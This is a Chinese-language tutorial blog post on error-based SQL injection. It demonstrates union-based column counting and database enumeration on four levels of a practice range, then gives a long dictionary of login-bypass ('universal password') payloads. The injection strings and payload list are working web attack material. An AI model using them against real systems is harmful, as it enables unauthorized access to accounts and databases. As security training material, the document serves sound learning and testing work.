SQL注入-显错注入

admin 2022年5月13日19:55:47评论55 views字数 3008阅读10分1秒阅读模式



SQL注入


什么是SQL注入 :用户输入的内容被浏览器当做数据库语句进行执行。

关键点:我们一定要输入[数据库语句]

我们输入【数据库语句】,如果这个[网站执行了],就说明这个网站,存在数据库注入漏洞。


数据库语句

select 列名 from 表名 where 条件

select 查询
from  来自 
where 当···条件成立的时候


流程

第一步:判断网站是否存在漏洞
    and 1=1 --> 条件成立,网页有内容
    and 1=2 --> 条件不成立,网页没有内容
        ==>  网站存在SQL注入漏洞。


第二步:判断字段(列)数 ,order by ,排序。
    字段 = 列 。
    order by 1 --> 网页有内容,说明表里面有1列
    order by 2 --> 网页有内容,说明表里面有2列
    order by 3 --> 网页有内容,说明表里面有3列
    order by 4 --> 网页没有内容,说明表里面没有4列                
                ---> 只有3列。


Ps:判断一个网站是否存在数据库注入漏洞,也可以使用order by 判断。


第三步:判断回显点。union ,能够同时执行两条数据库语句。

关键点:必须保证列数一致。
回显点:能够将我们输入的数据库语句执行,并且将结果显示在网页上。
    
    and 1=2 union select 1,222222,333333


第四步:查数据
    version() # 函数,作用:查询版本号的
    database() # 函数,作用:查库名的。

    and 1=2 union select 1,version(),database()


靶场演示(掌控安全学院SQL注入靶场

第一关:select * from user where id=1

输入  and 1=1

SQL注入-显错注入编辑

网页有内容

SQL注入-显错注入编辑

输入 and 1=2

SQL注入-显错注入编辑

网页没有内容

SQL注入-显错注入编辑

输入 order by 1

SQL注入-显错注入编辑

网页有内容

SQL注入-显错注入编辑

输入 order by 2

SQL注入-显错注入编辑

网页有内容

SQL注入-显错注入编辑

输入 order by 3

SQL注入-显错注入编辑

网页有内容

SQL注入-显错注入编辑

输入 order by 4

SQL注入-显错注入编辑

网页没有内容

SQL注入-显错注入编辑

  输入 and 1=2 union select 1,2,3

SQL注入-显错注入编辑


SQL注入-显错注入编辑

   输入and 1=2 union select 1,222222,333333

SQL注入-显错注入编辑


SQL注入-显错注入编辑

输入and 1=2 union select 1,version(),database()

SQL注入-显错注入编辑


SQL注入-显错注入编辑
第二关:select * from user where id='1'
    输入and 1=1: select * from user where id='1 and 1=1'
    输入and 1=2:    select * from user where id='1 and 1=2'
    输入' :               select * from user where id='1''
    输入' -- q :       select *from user where id='1' -- q'    
    输入' and 1=1 -- q  select *from user where id='1 ' and 1=1 -- q' 

SQL注入-显错注入编辑

页面有内容

SQL注入-显错注入编辑


输入' and 1=2 -- q  select *from user where id='1' and 1=2 -- q' 


SQL注入-显错注入编辑

页面没内容

SQL注入-显错注入编辑


输入' order by 3 -- q 


SQL注入-显错注入编辑

页面有内容

SQL注入-显错注入编辑

输入' order by 4 -- q 

SQL注入-显错注入编辑

网页没有内容

SQL注入-显错注入编辑



SQL注入-显错注入编辑


SQL注入-显错注入编辑


SQL注入-显错注入编辑

SQL注入-显错注入编辑


 第三关:select * from user where id= ('1')
    输入') and 1=2 union select 1,2,3 -- q


SQL注入-显错注入编辑

SQL注入-显错注入编辑

SQL注入-显错注入编辑

SQL注入-显错注入编辑

 第四关:select *from user where id=("1")
    输入 ") #  
# =  %23

'') and 1=2 union select 1,2,3 -- q

SQL注入-显错注入编辑


万能密码漏洞 

本质:sql注入漏洞引起的。

select *from user where username ='' and password=''

输入 ' or 2-1=1 -- qwe

select *from user where username ='' or 2-1=1 -- qwe' and password=''

and 前后两条件,都成立,才算成立    
    1=1 and 2=2     
or 前后两条件,只要有一个条件成立,那么就都成立。
    1=1 or 1=2  (成立)

输入admin,123456

SQL注入-显错注入编辑

输入 ' or 2-1=1 -- qwe

 SQL注入-显错注入编辑



万能密码字典


"or "a"="a
'.).or.('.a.'='.a 
or 1=1--
'or 1=1 -- q
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
admin'/*
aaaa*/'
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
"or "a"="a
 ')or('a'='a
or 1=1–
'or 1=1–
a'or' 1=1–
"or 1=1–
'or'a'='a
"or"="a'='a
'or"='
'or'='or'
1 or '1'='1'=1
1 or '1'='1′ or 1=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a
'or 1=1/*
something
'OR '1'='1
1'or'1'='
admin' OR 1=1/*
' or 1=1#
'=0#
'>-1#
'<1#
1'<99#
'=0=1#
'<=>0#
'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#
'|0#
'&0#
'^0#
'<<0#
'>>0#
'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#
'*9#
'/9#
'%9#
'+0#
'-0#
'+2+5-7#
'+0+0-0#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#
'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#
'=upper     (0)#
' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#
'='
'<>'1
'>1='
0'='0
'<1 and 1>'
'<>ifnull(1,2)='1
'=round(0,1)='1
'*0*'
'+'
'-'
'+1-1-'
'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#
' or 1=1#
' or '
' || '
















原文始发于微信公众号(小白安全的笔记):SQL注入-显错注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月13日19:55:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入-显错注入https://cn-sec.com/archives/1005912.html

发表评论

匿名网友 填写信息